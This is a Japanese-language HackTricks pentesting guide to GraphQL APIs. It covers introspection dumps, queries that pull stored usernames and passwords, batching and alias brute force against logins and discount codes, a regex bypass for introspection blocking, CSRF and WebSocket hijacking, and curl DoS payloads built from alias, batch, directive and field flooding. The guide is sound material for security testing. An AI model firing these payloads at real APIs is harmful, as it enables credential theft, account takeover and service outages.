45 KiB
Raw Blame History

GraphQL

{{#include ../../banners/hacktricks-training.md}}

Introduction

GraphQLは効率的な代替手段として強調されており、バックエンドからデータをクエリするための簡素化されたアプローチを提供します。RESTとは異なり、RESTはデータを収集するためにさまざまなエンドポイントに対して多数のリクエストを必要とすることが多いですが、GraphQLは単一のリクエストで必要なすべての情報を取得することを可能にします。この簡素化は、データ取得プロセスの複雑さを軽減することにより、開発者に大きな利益をもたらします

GraphQLとセキュリティ

GraphQLを含む新しい技術の登場に伴い、新たなセキュリティ脆弱性も現れます。重要な点は、GraphQLはデフォルトで認証メカニズムを含まないということです。開発者がそのようなセキュリティ対策を実装する責任があります。適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに対して機密情報を露出する可能性があり、重大なセキュリティリスクを引き起こします。

ディレクトリブルートフォース攻撃とGraphQL

露出したGraphQLインスタンスを特定するために、ディレクトリブルートフォース攻撃に特定のパスを含めることが推奨されます。これらのパスは次のとおりです

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

オープンなGraphQLインスタンスを特定することで、サポートされているクエリを調査することができます。これは、エンドポイントを通じてアクセス可能なデータを理解するために重要です。GraphQLのイントロスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。これに関する詳細は、GraphQLのイントロスペクションに関するドキュメントを参照してくださいGraphQL: A query language for APIs.

フィンガープリンティング

ツールgraphw00fは、サーバーで使用されているGraphQLエンジンを検出し、セキュリティ監査人に役立つ情報を印刷することができます。

ユニバーサルクエリ

URLがGraphQLサービスであるかどうかを確認するために、ユニバーサルクエリ query{__typename}を送信できます。レスポンスに{"data": {"__typename": "Query"}}が含まれている場合、そのURLがGraphQLエンドポイントをホストしていることが確認されます。この方法は、クエリされたオブジェクトのタイプを明らかにするGraphQLの__typenameフィールドに依存しています。

query{__typename}

基本列挙

Graphqlは通常GETPOSTx-www-form-urlencodedおよびPOSTjsonをサポートしています。ただし、セキュリティのためにCSRF攻撃を防ぐためにjsonのみを許可することが推奨されます。

インストロスペクション

スキーマ情報を発見するためにインストロスペクションを使用するには、__schemaフィールドをクエリします。このフィールドはすべてのクエリのルートタイプで利用可能です。

query={__schema{types{name,fields{name}}}}

このクエリを使用すると、使用されているすべてのタイプの名前を見つけることができます:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

このクエリを使用すると、すべてのタイプ、そのフィールド、および引数(および引数のタイプ)を抽出できます。これは、データベースをクエリする方法を知るのに非常に役立ちます。

エラー

エラー表示されるかどうかを知ることは興味深いことであり、それは有用な情報に貢献します。

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

インストロスペクションを介してデータベーススキーマを列挙する

Note

インストロスペクションが有効であるが、上記のクエリが実行されない場合は、クエリ構造から onOperationonFragment、および onField ディレクティブを削除してみてください。

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

インラインイントロスペクションクエリ:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

最後のコード行は、graphqlからすべてのメタ情報オブジェクト名、パラメータ、タイプなどをダンプするgraphqlクエリです。

イントロスペクションが有効になっている場合、GraphQL Voyagerを使用して、GUIですべてのオプションを表示できます。

クエリ

データベース内にどのような情報が保存されているかがわかったので、いくつかの値を抽出してみましょう

イントロスペクションでは、どのオブジェクトを直接クエリできるかを見つけることができます(オブジェクトが存在するからといってクエリできるわけではありません)。次の画像では、"queryType"が"Query"と呼ばれ、"Query"オブジェクトのフィールドの1つが"flags"であり、これもオブジェクトのタイプであることがわかります。したがって、フラグオブジェクトをクエリできます。

クエリ"flags"のタイプは"Flags"であり、このオブジェクトは以下のように定義されています:

"Flags"オブジェクトはnamevalueで構成されていることがわかります。次に、クエリを使用してフラグのすべての名前と値を取得できます:

query={flags{name, value}}

次の例のように、クエリするオブジェクト文字列のようなプリミティブ****タイプである場合は、次のようにクエリできます。

query = { hiddenFlags }

別の例では、"Query" タイプオブジェクトの中に "user" と "users" の 2 つのオブジェクトがありました。
これらのオブジェクトが検索に引数を必要としない場合、必要なデータを 要求する だけで すべての情報を取得 できます。このインターネットの例では、保存されたユーザー名とパスワードを抽出できます:

しかし、この例ではそうしようとすると エラー が発生します:

どうやら、"uid" 引数のタイプ Int を使用して検索するようです。
とにかく、Basic Enumeration セクションでは、必要な情報をすべて表示するクエリが提案されていました:query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

そのクエリを実行したときに提供された画像を読むと、"user" にタイプ Intarg "uid" があったことがわかります。

したがって、軽い uid ブルートフォースを実行したところ、_uid=1 でユーザー名とパスワードが取得されました:
query={user(uid:1){user,password}}

私は、パラメータ "user" と "password" を要求できることを 発見 したことに注意してください。存在しないものを探そうとすると (query={user(uid:1){noExists}}) このエラーが発生します:

そして、列挙フェーズの間に、"dbuser" オブジェクトが "user" と "password" をフィールドとして持っていることを発見しました。

クエリ文字列ダンプトリック(@BinaryShadow_ に感謝)

文字列タイプで検索できる場合、例えば:query={theusers(description: ""){username,password}} とし、空の文字列検索 すると、すべてのデータが ダンプ されます。 (この例はチュートリアルの例とは関係ありません。この例では、"theusers" を "description" という文字列フィールドで検索できると仮定してください)。

検索

このセットアップでは、データベースには 映画 が含まれています。 メール名前 で識別され、映画名前評価 で識別されます。 は互いに友達になり、映画を持つこともでき、データベース内の関係を示します。

名前 で人を 検索 し、彼らのメールを取得できます:

{
searchPerson(name: "John Doe") {
email
}
}

人を名前検索し、彼らの登録した映画を取得できます:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

subscribedMoviesnameを取得する方法に注意してください。

同時に複数のオブジェクトを検索することもできます。この場合、2つの映画を検索します

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

または、エイリアスを使用した複数の異なるオブジェクトの関係:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

ミューテーションはサーバー側で変更を加えるために使用されます。

イントロスペクションでは、宣言された ミューテーションを見つけることができます。次の画像では、"MutationType"は"Mutation"と呼ばれ、"Mutation"オブジェクトにはミューテーションの名前(この場合は"addPerson"など)が含まれています:

このセットアップでは、データベースには人物映画が含まれています。人物はそのメール名前で識別され、映画はその名前評価で識別されます。人物は互いに友達になり、映画を持つこともでき、データベース内の関係を示します。

データベース内に新しい映画を作成するためのミューテーションは、次のようになります(この例ではミューテーションはaddMovieと呼ばれます):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

クエリ内で値とデータの型がどのように示されているかに注意してください。

さらに、データベースは、既存の友人映画との関連を持つ人物の作成を可能にするaddPersonという名前のミューテーション操作をサポートしています。新しく作成された人物にリンクする前に、友人と映画はデータベースに存在している必要があることに注意することが重要です。

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

ディレクティブのオーバーロード

このレポートで説明されている脆弱性の1つで説明されているように、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。

1つのAPIリクエストでのバッチブルートフォース

この情報はhttps://lab.wallarm.com/graphql-batching-attack/から取得されました。
異なる認証情報で多くのクエリを同時に送信することでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ処理機能のおかげで、HTTPリクエストごとに1つ以上のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺いて、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。

以下は、同時に3つの異なるメール/パスワードペアを使用したアプリケーション認証リクエストの最も簡単なデモです。明らかに、同じ方法で1回のリクエストで数千を送信することが可能です

レスポンスのスクリーンショットからわかるように、最初と3番目のリクエストは_null_を返し、_error_セクションに対応する情報を反映しました。2番目のミューテーションは正しい認証データを持ち、レスポンスには正しい認証セッショントークンがあります。

インストロスペクションなしのGraphQL

ますます多くのgraphqlエンドポイントがインストロスペクションを無効にしています。しかし、予期しないリクエストが受信されたときにgraphqlが投げるエラーは、clairvoyanceのようなツールがスキーマのほとんどを再構築するのに十分です。

さらに、Burp Suite拡張機能GraphQuailは、Burpを通過するGraphQL APIリクエストを観察し新しいクエリを見るたびに内部GraphQLスキーマを構築します。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信すると偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細についてはこちらを確認してください

素晴らしいワードリストは、GraphQLエンティティを発見するためにここにあります

GraphQLインストロスペクション防御の回避

APIのインストロスペクションクエリに対する制限を回避するために、__schemaキーワードの後に特殊文字を挿入することが効果的です。この方法は、インストロスペクションをブロックすることを目的とした正規表現パターンにおける一般的な開発者の見落としを利用します。GraphQLが無視するが正規表現では考慮されない可能性のあるスペース、改行、カンマのような文字を追加することで、制限を回避できます。たとえば、__schemaの後に改行を含むインストロスペクションクエリは、そのような防御を回避する可能性があります:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

成功しない場合は、GETリクエストや**x-www-form-urlencodedを使用したPOST**などの代替リクエストメソッドを検討してください。制限がPOSTリクエストのみに適用される可能性があります。

WebSocketsを試す

このトークで述べたように、WebSocketsを介してgraphQLに接続できるかどうかを確認してください。これにより、潜在的なWAFを回避し、WebSocket通信がgraphQLのスキーマを漏洩させる可能性があります。

ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

公開されたGraphQL構造の発見

イントロスペクションが無効になっている場合、JavaScriptライブラリにプリロードされたクエリをウェブサイトのソースコードで調べることは有用な戦略です。これらのクエリは、開発者ツールのSourcesタブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、潜在的に公開された機密クエリを明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

GraphQLにおけるCSRF

CSRFが何か分からない場合は、以下のページを読んでください

{{#ref}} ../../pentesting-web/csrf-cross-site-request-forgery.md {{#endref}}

外には、CSRFトークンなしで構成されたいくつかのGraphQLエンドポイントを見つけることができます。

GraphQLリクエストは通常、Content-Type **application/json**を使用してPOSTリクエストで送信されることに注意してください。

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

しかし、ほとんどのGraphQLエンドポイントは**form-urlencoded POSTリクエスト**もサポートしています:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

したがって、前述のようなCSRFリクエストはプレフライトリクエストなしで送信されるため、CSRFを悪用してGraphQLに変更加えることが可能です。

ただし、Chromeのsamesiteフラグの新しいデフォルトクッキー値はLaxであることに注意してください。これは、クッキーがGETリクエストでのみサードパーティのウェブから送信されることを意味します。

クエリ リクエストGET リクエストとして送信することも通常可能であり、GETリクエストではCSRFトークンが検証されない可能性があります。

また、XS-Search 攻撃を悪用することで、ユーザーの資格情報を利用してGraphQLエンドポイントからコンテンツを抽出することが可能かもしれません。

詳細については、こちらの元の投稿を確認してください

GraphQLにおけるクロスサイトWebSocketハイジャック

GraphQLを悪用するCRSF脆弱性と同様に、保護されていないクッキーを使用してGraphQLでの認証を悪用するためにクロスサイトWebSocketハイジャックを実行することも可能です。これにより、ユーザーがGraphQLで予期しないアクションを実行することになります。

詳細については、確認してください:

{{#ref}} ../../pentesting-web/websocket-attacks.md {{#endref}}

GraphQLにおける認可

エンドポイントで定義された多くのGraphQL関数は、リクエスターの認証のみをチェックし、認可はチェックしない場合があります。

クエリ入力変数を変更すると、機密アカウントの詳細が漏洩する可能性があります。

ミューテーションは、他のアカウントデータを変更しようとすることでアカウントの乗っ取りにつながる可能性があります。

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

GraphQLにおける認証バイパス

クエリのチェーニングを行うことで、弱い認証システムをバイパスすることができます。

以下の例では、操作が「forgotPassword」であり、それに関連付けられたforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするには、最後にクエリを追加します。この場合、「register」と新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。

GraphQLにおけるエイリアスを使用したレート制限のバイパス

GraphQLでは、エイリアスはAPIリクエストを行う際にプロパティを明示的に命名することを可能にする強力な機能です。この機能は、同じタイプのオブジェクトの複数のインスタンスを単一のリクエスト内で取得するのに特に便利です。エイリアスを使用することで、GraphQLオブジェクトが同じ名前の複数のプロパティを持つことを妨げる制限を克服できます。

GraphQLエイリアスの詳細な理解のために、以下のリソースを推奨します: Aliases

エイリアスの主な目的は多数のAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対するブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を防ぐためにHTTPリクエストの数を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用すると、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避できます。

以下の例を考えてみてください。これは、エイリアス付きのクエリを使用してストアの割引コードの有効性を確認する方法を示しています。この方法は、複数のクエリを1つのHTTPリクエストにまとめるため、レート制限を回避できる可能性があり、同時に多数の割引コードの確認を可能にします。

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

GraphQLにおけるDoS

エイリアスのオーバーロード

エイリアスのオーバーロードは、攻撃者が同じフィールドに対して多くのエイリアスでクエリをオーバーロードし、バックエンドリゾルバがそのフィールドを繰り返し実行するGraphQLの脆弱性です。これによりサーバーリソースが圧倒され、**サービス拒否DoS**につながる可能性があります。例えば、以下のクエリでは、同じフィールド(expensiveFieldがエイリアスを使用して1,000回要求され、バックエンドがそれを1,000回計算することを強制され、CPUやメモリが枯渇する可能性があります

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

これを軽減するために、リソースの悪用を防ぐためにエイリアスカウント制限、クエリの複雑さ分析、またはレート制限を実装します。

配列ベースのクエリバッチ処理

配列ベースのクエリバッチ処理は、GraphQL APIが単一のリクエストで複数のクエリをバッチ処理することを許可する脆弱性であり、攻撃者が同時に大量のクエリを送信できるようになります。これにより、すべてのバッチ処理されたクエリが並行して実行され、バックエンドが圧倒され、過剰なリソースCPU、メモリ、データベース接続を消費し、最終的には**サービス拒否DoS**につながる可能性があります。バッチ内のクエリ数に制限がない場合、攻撃者はこれを悪用してサービスの可用性を低下させることができます。

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーにすべてを同時に実行させることを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になる可能性があります。

ディレクティブオーバーローディング脆弱性

ディレクティブオーバーローディングは、GraphQLサーバーが過剰で重複したディレクティブを持つクエリを許可する場合に発生します。これは、サーバーのパーサーとエグゼキュータを圧倒する可能性があり、特にサーバーが同じディレクティブロジックを繰り返し処理する場合に顕著です。適切な検証や制限がない場合、攻撃者は多数の重複ディレクティブを持つクエリを作成することで、計算またはメモリ使用量を高め、**サービス拒否DoS**を引き起こすことができます。

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

前の例では、@aa は宣言されていない可能性があるカスタムディレクティブです。通常存在する一般的なディレクティブは @include です:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

すべての宣言されたディレクティブを発見するために、イントロスペクションクエリを送信することもできます:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

そして、いくつかのカスタムを使用します。

フィールド重複脆弱性

フィールド重複は、GraphQLサーバーが同じフィールドを過度に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソースCPU、メモリ、データベース呼び出しを消費します。攻撃者は、何百または何千もの繰り返されたフィールドを持つクエリを作成することができ、高負荷を引き起こし、最終的には**サービス拒否DoS**につながる可能性があります。

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

ツール

脆弱性スキャナー

クライアント

自動テスト

{{#ref}} https://graphql-dashboard.herokuapp.com/ {{#endref}}

参考文献

{{#include ../../banners/hacktricks-training.md}}